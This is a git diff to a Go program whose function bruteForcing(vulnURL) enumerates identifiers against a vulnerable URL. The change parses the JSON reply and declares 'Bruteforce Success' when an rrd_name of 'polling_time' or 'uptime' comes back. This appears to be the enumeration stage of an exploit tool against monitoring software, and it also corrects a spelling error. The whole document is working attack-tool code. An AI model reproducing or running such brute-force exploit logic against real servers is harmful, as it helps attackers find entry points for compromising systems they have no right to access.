diff --git a/main.go b/main.go index 6f9384d..05d5b8d 100644 --- a/main.go +++ b/main.go @@ -1,6 +1,7 @@ package main import ( + "encoding/json" "flag" "fmt" "io" @@ -100,16 +101,26 @@ func bruteForcing(vulnURL string) (bool, int, int) { return false, 1, 1 } - if buf.String() != "[]" { - rrdName := "asdf" - if rrdName == "polling_time" || rrdName == "uptime" { + // perse the json response + var jsonResponse []map[string]interface{} + err = json.Unmarshal([]byte(buf.String()), &jsonResponse) + if err != nil { + fmt.Println("Error unmarshalling JSON:", err) + return false, 1, 1 + } + + // the response must have at least one item + if len(jsonResponse) > 0 { + // first item, and the rrd_name field + rrdName, exists := jsonResponse[0]["rrd_name"].(string) + if exists && (rrdName == "polling_time" || rrdName == "uptime") { fmt.Println("Bruteforce Success") return true, n, n2 } } } } - fmt.Println("Unknown error occured") + fmt.Println("Unknown error occurred") return false, 1, 1 }